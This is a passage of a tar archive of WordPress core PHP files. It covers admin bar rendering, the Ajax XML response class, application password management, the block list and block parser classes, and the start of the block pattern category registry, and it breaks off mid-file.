''; $menuclass = ''; $arrow = ''; if ( $is_parent ) { $menuclass = 'menupop '; $aria_attributes .= ' aria-haspopup="true"'; } if ( ! empty( $node->meta['class'] ) ) { $menuclass .= $node->meta['class']; } // Print the arrow icon for the menu children with children. if ( ! $is_root_top_item && ! $is_top_secondary_item && $is_parent ) { $arrow = '<span class="wp-admin-bar-arrow" aria-hidden="true"></span>'; } if ( $menuclass ) { $menuclass = ' class="' . esc_attr( trim( $menuclass ) ) . '"'; } echo "<li id='" . esc_attr( 'wp-admin-bar-' . $node->id ) . "'$menuclass>"; if ( $has_link ) { $attributes = array( 'onclick', 'target', 'title', 'rel', 'lang', 'dir' ); echo "<a class='ab-item'$aria_attributes href='" . esc_url( $node->href ) . "'"; } else { $attributes = array( 'onclick', 'target', 'title', 'rel', 'lang', 'dir' ); echo '<div class="ab-item ab-empty-item"' . $aria_attributes; } foreach ( $attributes as $attribute ) { if ( empty( $node->meta[ $attribute ] ) ) { continue; } if ( 'onclick' === $attribute ) { echo " $attribute='" . esc_js( $node->meta[ $attribute ] ) . "'"; } else { echo " $attribute='" . esc_attr( $node->meta[ $attribute ] ) . "'"; } } echo ">{$arrow}{$node->title}"; if ( $has_link ) { echo '</a>'; } else { echo '</div>'; } if ( $is_parent ) { echo '<div class="ab-sub-wrapper">'; foreach ( $node->children as $group ) { $this->_render_group( $group ); } echo '</div>'; } if ( ! empty( $node->meta['html'] ) ) { echo $node->meta['html']; } echo '</li>'; } /** * Renders toolbar items recursively. * * @since 3.1.0 * @deprecated 3.3.0 Use WP_Admin_Bar::_render_item() or WP_Admin_bar::render() instead. * @see WP_Admin_Bar::_render_item() * @see WP_Admin_Bar::render() * * @param string $id Unused. * @param object $node */ public function recursive_render( $id, $node ) { _deprecated_function( __METHOD__, '3.3.0', 'WP_Admin_bar::render(), WP_Admin_Bar::_render_item()' ); $this->_render_item( $node ); } /** */ public function add_menus() { // User-related, aligned right. add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 0 ); add_action( 'admin_bar_menu', 'wp_admin_bar_search_menu', 4 ); add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 ); add_action( 'admin_bar_menu', 'wp_admin_bar_recovery_mode_menu', 8 ); // Site-related. add_action( 'admin_bar_menu', 'wp_admin_bar_sidebar_toggle', 0 ); add_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 ); add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 ); add_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 ); add_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 ); add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 ); // Content-related. if ( ! is_network_admin() && ! is_user_admin() ) { add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 ); add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 ); } add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 80 ); add_action( 'admin_bar_menu', 'wp_admin_bar_add_secondary_groups', 200 ); /** * Fires after menus are added to the menu bar. * * @since 3.1.0 */ do_action( 'add_admin_bar_menus' ); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-ajax-response.php��������������������������������������������������������������������������0000644�����������������00000012170�15120262030�0011553 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Send XML response back to Ajax request. * * @package WordPress * @since 2.1.0 */ class WP_Ajax_Response { /** * Store XML responses to send. * * @since 2.1.0 * @var array */ public $responses = array(); /** * Constructor - Passes args to WP_Ajax_Response::add(). * * @since 2.1.0 * * @see WP_Ajax_Response::add() * * @param string|array $args Optional. Will be passed to add() method. */ public function __construct( $args = '' ) { if ( ! empty( $args ) ) { $this->add( $args ); } } /** * Appends data to an XML response based on given arguments. * * With `$args` defaults, extra data output would be: * * <response action='{$action}_$id'> * <$what id='$id' position='$position'> * <response_data><![CDATA[$data]]></response_data> * </$what> * </response> * * @since 2.1.0 * * @param string|array $args { * Optional. An array or string of XML response arguments. * * @type string $what XML-RPC response type. Used as a child element of `<response>`. * Default 'object' (`<object>`). * @type string|false $action Value to use for the `action` attribute in `<response>`. Will be * appended with `_$id` on output. If false, `$action` will default to * the value of `$_POST['action']`. Default false. * @type int|WP_Error $id The response ID, used as the response type `id` attribute. Also * accepts a `WP_Error` object if the ID does not exist. Default 0. * @type int|false $old_id The previous response ID. Used as the value for the response type * `old_id` attribute. False hides the attribute. Default false. * @type string $position Value of the response type `position` attribute. Accepts 1 (bottom), * -1 (top), HTML ID (after), or -HTML ID (before). Default 1 (bottom). * @type string|WP_Error $data The response content/message. Also accepts a WP_Error object if the * ID does not exist. Default empty. * @type array $supplemental An array of extra strings that will be output within a `<supplemental>` * element as CDATA. Default empty array. * } * @return string XML response. */ public function add( $args = '' ) { $defaults = array( 'what' => 'object', 'action' => false, 'id' => '0', 'old_id' => false, 'position' => 1, 'data' => '', 'supplemental' => array(), ); $parsed_args = wp_parse_args( $args, $defaults ); $position = preg_replace( '/[^a-z0-9:_-]/i', '', $parsed_args['position'] ); $id = $parsed_args['id']; $what = $parsed_args['what']; $action = $parsed_args['action']; $old_id = $parsed_args['old_id']; $data = $parsed_args['data']; if ( is_wp_error( $id ) ) { $data = $id; $id = 0; } $response = ''; if ( is_wp_error( $data ) ) { foreach ( (array) $data->get_error_codes() as $code ) { $response .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message( $code ) . ']]></wp_error>'; $error_data = $data->get_error_data( $code ); if ( ! $error_data ) { continue; } $class = ''; if ( is_object( $error_data ) ) { $class = ' class="' . get_class( $error_data ) . '"'; $error_data = get_object_vars( $error_data ); } $response .= "<wp_error_data code='$code'$class>"; if ( is_scalar( $error_data ) ) { $response .= "<![CDATA[$error_data]]>"; } elseif ( is_array( $error_data ) ) { foreach ( $error_data as $k => $v ) { $response .= "<$k><![CDATA[$v]]></$k>"; } } $response .= '</wp_error_data>'; } } else { $response = "<response_data><![CDATA[$data]]></response_data>"; } $s = ''; if ( is_array( $parsed_args['supplemental'] ) ) { foreach ( $parsed_args['supplemental'] as $k => $v ) { $s .= "<$k><![CDATA[$v]]></$k>"; } $s = "<supplemental>$s</supplemental>"; } if ( false === $action ) { $action = $_POST['action']; } $x = ''; $x .= "<response action='{$action}_$id'>"; // The action attribute in the xml output is formatted like a nonce action. $x .= "<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>"; $x .= $response; $x .= $s; $x .= "</$what>"; $x .= '</response>'; $this->responses[] = $x; return $x; } /** * Display XML formatted responses. * * Sets the content type header to text/xml. * * @since 2.1.0 */ public function send() { header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) ); echo "<?xml version='1.0' encoding='" . get_option( 'blog_charset' ) . "' standalone='yes'?><wp_ajax>"; foreach ( (array) $this->responses as $response ) { echo $response; } echo '</wp_ajax>'; if ( wp_doing_ajax() ) { wp_die(); } else { die(); } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-application-passwords.php������������������������������������������������������������������0000644�����������������00000024602�15120262030�0013325 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_Application_Passwords class * * @package WordPress * @since 5.6.0 */ /** * Class for displaying, modifying, and sanitizing application passwords. * * @package WordPress */ class WP_Application_Passwords { /** * The application passwords user meta key. * * @since 5.6.0 * * @var string */ const USERMETA_KEY_APPLICATION_PASSWORDS = '_application_passwords'; /** * The option name used to store whether application passwords is in use. * * @since 5.6.0 * * @var string */ const OPTION_KEY_IN_USE = 'using_application_passwords'; /** * The generated application password length. * * @since 5.6.0 * * @var int */ const PW_LENGTH = 24; /** * Checks if Application Passwords are being used by the site. * * This returns true if at least one App Password has ever been created. * * @since 5.6.0 * * @return bool */ public static function is_in_use() { $network_id = get_main_network_id(); return (bool) get_network_option( $network_id, self::OPTION_KEY_IN_USE ); } /** * Creates a new application password. * * @since 5.6.0 * @since 5.7.0 Returns WP_Error if application name already exists. * * @param int $user_id User ID. * @param array $args Information about the application password. * @return array|WP_Error The first key in the array is the new password, the second is its detailed information. * A WP_Error instance is returned on error. */ public static function create_new_application_password( $user_id, $args = array() ) { if ( ! empty( $args['name'] ) ) { $args['name'] = sanitize_text_field( $args['name'] ); } if ( empty( $args['name'] ) ) { return new WP_Error( 'application_password_empty_name', __( 'An application name is required to create an application password.' ), array( 'status' => 400 ) ); } if ( self::application_name_exists_for_user( $user_id, $args['name'] ) ) { return new WP_Error( 'application_password_duplicate_name', __( 'Each application name should be unique.' ), array( 'status' => 409 ) ); } $new_password = wp_generate_password( static::PW_LENGTH, false ); $hashed_password = wp_hash_password( $new_password ); $new_item = array( 'uuid' => wp_generate_uuid4(), 'app_id' => empty( $args['app_id'] ) ? '' : $args['app_id'], 'name' => $args['name'], 'password' => $hashed_password, 'created' => time(), 'last_used' => null, 'last_ip' => null, ); $passwords = static::get_user_application_passwords( $user_id ); $passwords[] = $new_item; $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } $network_id = get_main_network_id(); if ( ! get_network_option( $network_id, self::OPTION_KEY_IN_USE ) ) { update_network_option( $network_id, self::OPTION_KEY_IN_USE, true ); } /** * Fires when an application password is created. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $new_item The details about the created password. * @param string $new_password The unhashed generated app password. * @param array $args Information used to create the application password. */ do_action( 'wp_create_application_password', $user_id, $new_item, $new_password, $args ); return array( $new_password, $new_item ); } /** * Gets a user's application passwords. * * @since 5.6.0 * * @param int $user_id User ID. * @return array The list of app passwords. */ public static function get_user_application_passwords( $user_id ) { $passwords = get_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, true ); if ( ! is_array( $passwords ) ) { return array(); } $save = false; foreach ( $passwords as $i => $password ) { if ( ! isset( $password['uuid'] ) ) { $passwords[ $i ]['uuid'] = wp_generate_uuid4(); $save = true; } } if ( $save ) { static::set_user_application_passwords( $user_id, $passwords ); } return $passwords; } /** * Gets a user's application password with the given uuid. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's uuid. * @return array|null The application password if found, null otherwise. */ public static function get_user_application_password( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $password ) { if ( $password['uuid'] === $uuid ) { return $password; } } return null; } /** * Checks if application name exists for this user. * * @since 5.7.0 * * @param int $user_id User ID. * @param string $name Application name. * @return bool Whether provided application name exists or not. */ public static function application_name_exists_for_user( $user_id, $name ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $password ) { if ( strtolower( $password['name'] ) === strtolower( $name ) ) { return true; } } return false; } /** * Updates an application password. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's uuid. * @param array $update Information about the application password to update. * @return true|WP_Error True if successful, otherwise a WP_Error instance is returned on error. */ public static function update_application_password( $user_id, $uuid, $update = array() ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as &$item ) { if ( $item['uuid'] !== $uuid ) { continue; } if ( ! empty( $update['name'] ) ) { $update['name'] = sanitize_text_field( $update['name'] ); } $save = false; if ( ! empty( $update['name'] ) && $item['name'] !== $update['name'] ) { $item['name'] = $update['name']; $save = true; } if ( $save ) { $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } } /** * Fires when an application password is updated. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $item The updated app password details. * @param array $update The information to update. */ do_action( 'wp_update_application_password', $user_id, $item, $update ); return true; } return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Records that an application password has been used. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's uuid. * @return true|WP_Error True if the usage was recorded, a WP_Error if an error occurs. */ public static function record_application_password_usage( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as &$password ) { if ( $password['uuid'] !== $uuid ) { continue; } // Only record activity once a day. if ( $password['last_used'] + DAY_IN_SECONDS > time() ) { return true; } $password['last_used'] = time(); $password['last_ip'] = $_SERVER['REMOTE_ADDR']; $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not save application password.' ) ); } return true; } // Specified Application Password not found! return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Deletes an application password. * * @since 5.6.0 * * @param int $user_id User ID. * @param string $uuid The password's uuid. * @return true|WP_Error Whether the password was successfully found and deleted, a WP_Error otherwise. */ public static function delete_application_password( $user_id, $uuid ) { $passwords = static::get_user_application_passwords( $user_id ); foreach ( $passwords as $key => $item ) { if ( $item['uuid'] === $uuid ) { unset( $passwords[ $key ] ); $saved = static::set_user_application_passwords( $user_id, $passwords ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not delete application password.' ) ); } /** * Fires when an application password is deleted. * * @since 5.6.0 * * @param int $user_id The user ID. * @param array $item The data about the application password. */ do_action( 'wp_delete_application_password', $user_id, $item ); return true; } } return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) ); } /** * Deletes all application passwords for the given user. * * @since 5.6.0 * * @param int $user_id User ID. * @return int|WP_Error The number of passwords that were deleted or a WP_Error on failure. */ public static function delete_all_application_passwords( $user_id ) { $passwords = static::get_user_application_passwords( $user_id ); if ( $passwords ) { $saved = static::set_user_application_passwords( $user_id, array() ); if ( ! $saved ) { return new WP_Error( 'db_error', __( 'Could not delete application passwords.' ) ); } foreach ( $passwords as $item ) { /** This action is documented in wp-includes/class-wp-application-passwords.php */ do_action( 'wp_delete_application_password', $user_id, $item ); } return count( $passwords ); } return 0; } /** * Sets a users application passwords. * * @since 5.6.0 * * @param int $user_id User ID. * @param array $passwords Application passwords. * * @return bool */ protected static function set_user_application_passwords( $user_id, $passwords ) { return update_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, $passwords ); } /** * Sanitizes and then splits a password into smaller chunks. * * @since 5.6.0 * * @param string $raw_password The raw application password. * @return string The chunked password. */ public static function chunk_password( $raw_password ) { $raw_password = preg_replace( '/[^a-z\d]/i', '', $raw_password ); return trim( chunk_split( $raw_password, 4, ' ' ) ); } } ������������������������������������������������������������������������������������������������������������������������������class-wp-block-list.php�����������������������������������������������������������������������������0000644�����������������00000010571�15120262030�0011042 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_List class * * @package WordPress * @since 5.5.0 */ /** * Class representing a list of block instances. * * @since 5.5.0 */ class WP_Block_List implements Iterator, ArrayAccess, Countable { /** * Original array of parsed block data, or block instances. * * @since 5.5.0 * @var array[]|WP_Block[] * @access protected */ protected $blocks; /** * All available context of the current hierarchy. * * @since 5.5.0 * @var array * @access protected */ protected $available_context; /** * Block type registry to use in constructing block instances. * * @since 5.5.0 * @var WP_Block_Type_Registry * @access protected */ protected $registry; /** * Constructor. * * Populates object properties from the provided block instance argument. * * @since 5.5.0 * * @param array[]|WP_Block[] $blocks Array of parsed block data, or block instances. * @param array $available_context Optional array of ancestry context values. * @param WP_Block_Type_Registry $registry Optional block type registry. */ public function __construct( $blocks, $available_context = array(), $registry = null ) { if ( ! $registry instanceof WP_Block_Type_Registry ) { $registry = WP_Block_Type_Registry::get_instance(); } $this->blocks = $blocks; $this->available_context = $available_context; $this->registry = $registry; } /** * Returns true if a block exists by the specified block index, or false * otherwise. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param string $index Index of block to check. * @return bool Whether block exists. */ public function offsetExists( $index ) { return isset( $this->blocks[ $index ] ); } /** * Returns the value by the specified block index. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param string $index Index of block value to retrieve. * @return mixed|null Block value if exists, or null. */ public function offsetGet( $index ) { $block = $this->blocks[ $index ]; if ( isset( $block ) && is_array( $block ) ) { $block = new WP_Block( $block, $this->available_context, $this->registry ); $this->blocks[ $index ] = $block; } return $block; } /** * Assign a block value by the specified block index. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param string $index Index of block value to set. * @param mixed $value Block value. */ public function offsetSet( $index, $value ) { if ( is_null( $index ) ) { $this->blocks[] = $value; } else { $this->blocks[ $index ] = $value; } } /** * Unset a block. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param string $index Index of block value to unset. */ public function offsetUnset( $index ) { unset( $this->blocks[ $index ] ); } /** * Rewinds back to the first element of the Iterator. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.rewind.php */ public function rewind() { reset( $this->blocks ); } /** * Returns the current element of the block list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.current.php * * @return mixed Current element. */ public function current() { return $this->offsetGet( $this->key() ); } /** * Returns the key of the current element of the block list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Key of the current element. */ public function key() { return key( $this->blocks ); } /** * Moves the current position of the block list to the next element. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.next.php */ public function next() { next( $this->blocks ); } /** * Checks if current position is valid. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.valid.php */ public function valid() { return null !== key( $this->blocks ); } /** * Returns the count of blocks in the list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/countable.count.php * * @return int Block count. */ public function count() { return count( $this->blocks ); } } ���������������������������������������������������������������������������������������������������������������������������������������class-wp-block-parser.php���������������������������������������������������������������������������0000644�����������������00000035562�15120262030�0011372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Block Serialization Parser * * @package WordPress */ /** * Class WP_Block_Parser_Block * * Holds the block structure in memory * * @since 5.0.0 */ class WP_Block_Parser_Block { /** * Name of block * * @example "core/paragraph" * * @since 5.0.0 * @var string */ public $blockName; /** * Optional set of attributes from block comment delimiters * * @example null * @example array( 'columns' => 3 ) * * @since 5.0.0 * @var array|null */ public $attrs; /** * List of inner blocks (of this same class) * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $innerBlocks; /** * Resultant HTML from inside block comment delimiters * after removing inner blocks * * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..." * * @since 5.0.0 * @var string */ public $innerHTML; /** * List of string fragments and null markers where inner blocks were found * * @example array( * 'innerHTML' => 'BeforeInnerAfter', * 'innerBlocks' => array( block, block ), * 'innerContent' => array( 'Before', null, 'Inner', null, 'After' ), * ) * * @since 4.2.0 * @var array */ public $innerContent; /** * Constructor. * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @param string $name Name of block. * @param array $attrs Optional set of attributes from block comment delimiters. * @param array $innerBlocks List of inner blocks (of this same class). * @param string $innerHTML Resultant HTML from inside block comment delimiters after removing inner blocks. * @param array $innerContent List of string fragments and null markers where inner blocks were found. */ function __construct( $name, $attrs, $innerBlocks, $innerHTML, $innerContent ) { $this->blockName = $name; $this->attrs = $attrs; $this->innerBlocks = $innerBlocks; $this->innerHTML = $innerHTML; $this->innerContent = $innerContent; } } /** * Class WP_Block_Parser_Frame * * Holds partial blocks in memory while parsing * * @internal * @since 5.0.0 */ class WP_Block_Parser_Frame { /** * Full or partial block * * @since 5.0.0 * @var WP_Block_Parser_Block */ public $block; /** * Byte offset into document for start of parse token * * @since 5.0.0 * @var int */ public $token_start; /** * Byte length of entire parse token string * * @since 5.0.0 * @var int */ public $token_length; /** * Byte offset into document for after parse token ends * (used during reconstruction of stack into parse production) * * @since 5.0.0 * @var int */ public $prev_offset; /** * Byte offset into document where leading HTML before token starts * * @since 5.0.0 * @var int */ public $leading_html_start; /** * Constructor * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @param WP_Block_Parser_Block $block Full or partial block. * @param int $token_start Byte offset into document for start of parse token. * @param int $token_length Byte length of entire parse token string. * @param int $prev_offset Byte offset into document for after parse token ends. * @param int $leading_html_start Byte offset into document where leading HTML before token starts. */ function __construct( $block, $token_start, $token_length, $prev_offset = null, $leading_html_start = null ) { $this->block = $block; $this->token_start = $token_start; $this->token_length = $token_length; $this->prev_offset = isset( $prev_offset ) ? $prev_offset : $token_start + $token_length; $this->leading_html_start = $leading_html_start; } } /** * Class WP_Block_Parser * * Parses a document and constructs a list of parsed block objects * * @since 5.0.0 * @since 4.0.0 returns arrays not objects, all attributes are arrays */ class WP_Block_Parser { /** * Input document being parsed * * @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->" * * @since 5.0.0 * @var string */ public $document; /** * Tracks parsing progress through document * * @since 5.0.0 * @var int */ public $offset; /** * List of parsed blocks * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $output; /** * Stack of partially-parsed structures in memory during parse * * @since 5.0.0 * @var WP_Block_Parser_Frame[] */ public $stack; /** * Empty associative array, here due to PHP quirks * * @since 4.4.0 * @var array empty associative array */ public $empty_attrs; /** * Parses a document and returns a list of block structures * * When encountering an invalid parse will return a best-effort * parse. In contrast to the specification parser this does not * return an error on invalid inputs. * * @since 5.0.0 * * @param string $document Input document being parsed. * @return WP_Block_Parser_Block[] */ function parse( $document ) { $this->document = $document; $this->offset = 0; $this->output = array(); $this->stack = array(); $this->empty_attrs = json_decode( '{}', true ); do { // twiddle our thumbs. } while ( $this->proceed() ); return $this->output; } /** * Processes the next token from the input document * and returns whether to proceed eating more tokens * * This is the "next step" function that essentially * takes a token as its input and decides what to do * with that token before descending deeper into a * nested block tree or continuing along the document * or breaking out of a level of nesting. * * @internal * @since 5.0.0 * @return bool */ function proceed() { $next_token = $this->next_token(); list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token; $stack_depth = count( $this->stack ); // we may have some HTML soup before the next block. $leading_html_start = $start_offset > $this->offset ? $this->offset : null; switch ( $token_type ) { case 'no-more-tokens': // if not in a block then flush output. if ( 0 === $stack_depth ) { $this->add_freeform(); return false; } /* * Otherwise we have a problem * This is an error * * we have options * - treat it all as freeform text * - assume an implicit closer (easiest when not nesting) */ // for the easy case we'll assume an implicit closer. if ( 1 === $stack_depth ) { $this->add_block_from_stack(); return false; } /* * for the nested case where it's more difficult we'll * have to assume that multiple closers are missing * and so we'll collapse the whole stack piecewise */ while ( 0 < count( $this->stack ) ) { $this->add_block_from_stack(); } return false; case 'void-block': /* * easy case is if we stumbled upon a void block * in the top-level of the document */ if ( 0 === $stack_depth ) { if ( isset( $leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $leading_html_start, $start_offset - $leading_html_start ) ); } $this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ); $this->offset = $start_offset + $token_length; return true; } // otherwise we found an inner block. $this->add_inner_block( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length ); $this->offset = $start_offset + $token_length; return true; case 'block-opener': // track all newly-opened blocks on the stack. array_push( $this->stack, new WP_Block_Parser_Frame( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length, $start_offset + $token_length, $leading_html_start ) ); $this->offset = $start_offset + $token_length; return true; case 'block-closer': /* * if we're missing an opener we're in trouble * This is an error */ if ( 0 === $stack_depth ) { /* * we have options * - assume an implicit opener * - assume _this_ is the opener * - give up and close out the document */ $this->add_freeform(); return false; } // if we're not nesting then this is easy - close the block. if ( 1 === $stack_depth ) { $this->add_block_from_stack( $start_offset ); $this->offset = $start_offset + $token_length; return true; } /* * otherwise we're nested and we have to close out the current * block and add it as a new innerBlock to the parent */ $stack_top = array_pop( $this->stack ); $html = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset ); $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; $stack_top->prev_offset = $start_offset + $token_length; $this->add_inner_block( $stack_top->block, $stack_top->token_start, $stack_top->token_length, $start_offset + $token_length ); $this->offset = $start_offset + $token_length; return true; default: // This is an error. $this->add_freeform(); return false; } } /** * Scans the document from where we last left off * and finds the next valid token to parse if it exists * * Returns the type of the find: kind of find, block information, attributes * * @internal * @since 5.0.0 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments * @return array */ function next_token() { $matches = null; /* * aye the magic * we're using a single RegExp to tokenize the block comment delimiters * we're also using a trick here because the only difference between a * block opener and a block closer is the leading `/` before `wp:` (and * a closer has no attributes). we can trap them both and process the * match back in PHP to see which one it was. */ $has_match = preg_match( '/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s', $this->document, $matches, PREG_OFFSET_CAPTURE, $this->offset ); // if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE. if ( false === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } // we have no more tokens. if ( 0 === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } list( $match, $started_at ) = $matches[0]; $length = strlen( $match ); $is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1]; $is_void = isset( $matches['void'] ) && -1 !== $matches['void'][1]; $namespace = $matches['namespace']; $namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/'; $name = $namespace . $matches['name'][0]; $has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1]; /* * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays * are associative arrays. If we use `array()` we get a JSON `[]` */ $attrs = $has_attrs ? json_decode( $matches['attrs'][0], /* as-associative */ true ) : $this->empty_attrs; /* * This state isn't allowed * This is an error */ if ( $is_closer && ( $is_void || $has_attrs ) ) { // we can ignore them since they don't hurt anything. } if ( $is_void ) { return array( 'void-block', $name, $attrs, $started_at, $length ); } if ( $is_closer ) { return array( 'block-closer', $name, null, $started_at, $length ); } return array( 'block-opener', $name, $attrs, $started_at, $length ); } /** * Returns a new block object for freeform HTML * * @internal * @since 3.9.0 * * @param string $innerHTML HTML content of block. * @return WP_Block_Parser_Block freeform block object. */ function freeform( $innerHTML ) { return new WP_Block_Parser_Block( null, $this->empty_attrs, array(), $innerHTML, array( $innerHTML ) ); } /** * Pushes a length of text from the input document * to the output list as a freeform block. * * @internal * @since 5.0.0 * @param null $length how many bytes of document text to output. */ function add_freeform( $length = null ) { $length = $length ? $length : strlen( $this->document ) - $this->offset; if ( 0 === $length ) { return; } $this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) ); } /** * Given a block structure from memory pushes * a new block to the output list. * * @internal * @since 5.0.0 * @param WP_Block_Parser_Block $block The block to add to the output. * @param int $token_start Byte offset into the document where the first token for the block starts. * @param int $token_length Byte length of entire block from start of opening token to end of closing token. * @param int|null $last_offset Last byte offset into document if continuing form earlier output. */ function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) { $parent = $this->stack[ count( $this->stack ) - 1 ]; $parent->block->innerBlocks[] = (array) $block; $html = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset ); if ( ! empty( $html ) ) { $parent->block->innerHTML .= $html; $parent->block->innerContent[] = $html; } $parent->block->innerContent[] = null; $parent->prev_offset = $last_offset ? $last_offset : $token_start + $token_length; } /** * Pushes the top block from the parsing stack to the output list. * * @internal * @since 5.0.0 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML. */ function add_block_from_stack( $end_offset = null ) { $stack_top = array_pop( $this->stack ); $prev_offset = $stack_top->prev_offset; $html = isset( $end_offset ) ? substr( $this->document, $prev_offset, $end_offset - $prev_offset ) : substr( $this->document, $prev_offset ); if ( ! empty( $html ) ) { $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; } if ( isset( $stack_top->leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $stack_top->leading_html_start, $stack_top->token_start - $stack_top->leading_html_start ) ); } $this->output[] = (array) $stack_top->block; } } ����������������������������������������������������������������������������������������������������������������������������������������������class-wp-block-pattern-categories-registry.php������������������������������������������������������0000644�����������������00000010161�15120262030�0015530 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Blocks API: WP_Block_Pattern_Categories_Registry class * * @package WordPress * @subpackage Blocks * @since 5.5.0 */ /** * Class used for interacting with block pattern categories. */ final class WP_Block_Pattern_Categories_Registry { /** * Registered block pattern categories array. * * @since 5.5.0 * @var array */ private $registered_categories = array(); /** * Container for the main instance of the class. * * @since 5.5.0 * @var WP_Block_Pattern_Categories_Registry|null */ private static $instance = null; /** * Registers a pattern category. * * @since 5.5.0 * * @param string $category_name Pattern category name. * @param array $category_properties Array containing the properties of the category: label. * @return bool True if the pattern was registered with success and false otherwise. */ public function register( $category_name, $category_properties ) { if ( ! isset( $category_name ) || ! is_string( $category_name ) ) { _doing_it_wrong( __METHOD__, __( 'Block pattern category name must be a string.' ), '5.5.0' ); return false; } $this->registered_categories[ $category_name ] = array_merge( array( 'name' => $category_name ), $category_properties ); return true; } /** * Unregisters a pattern category. * * @since 5.5.0 * * 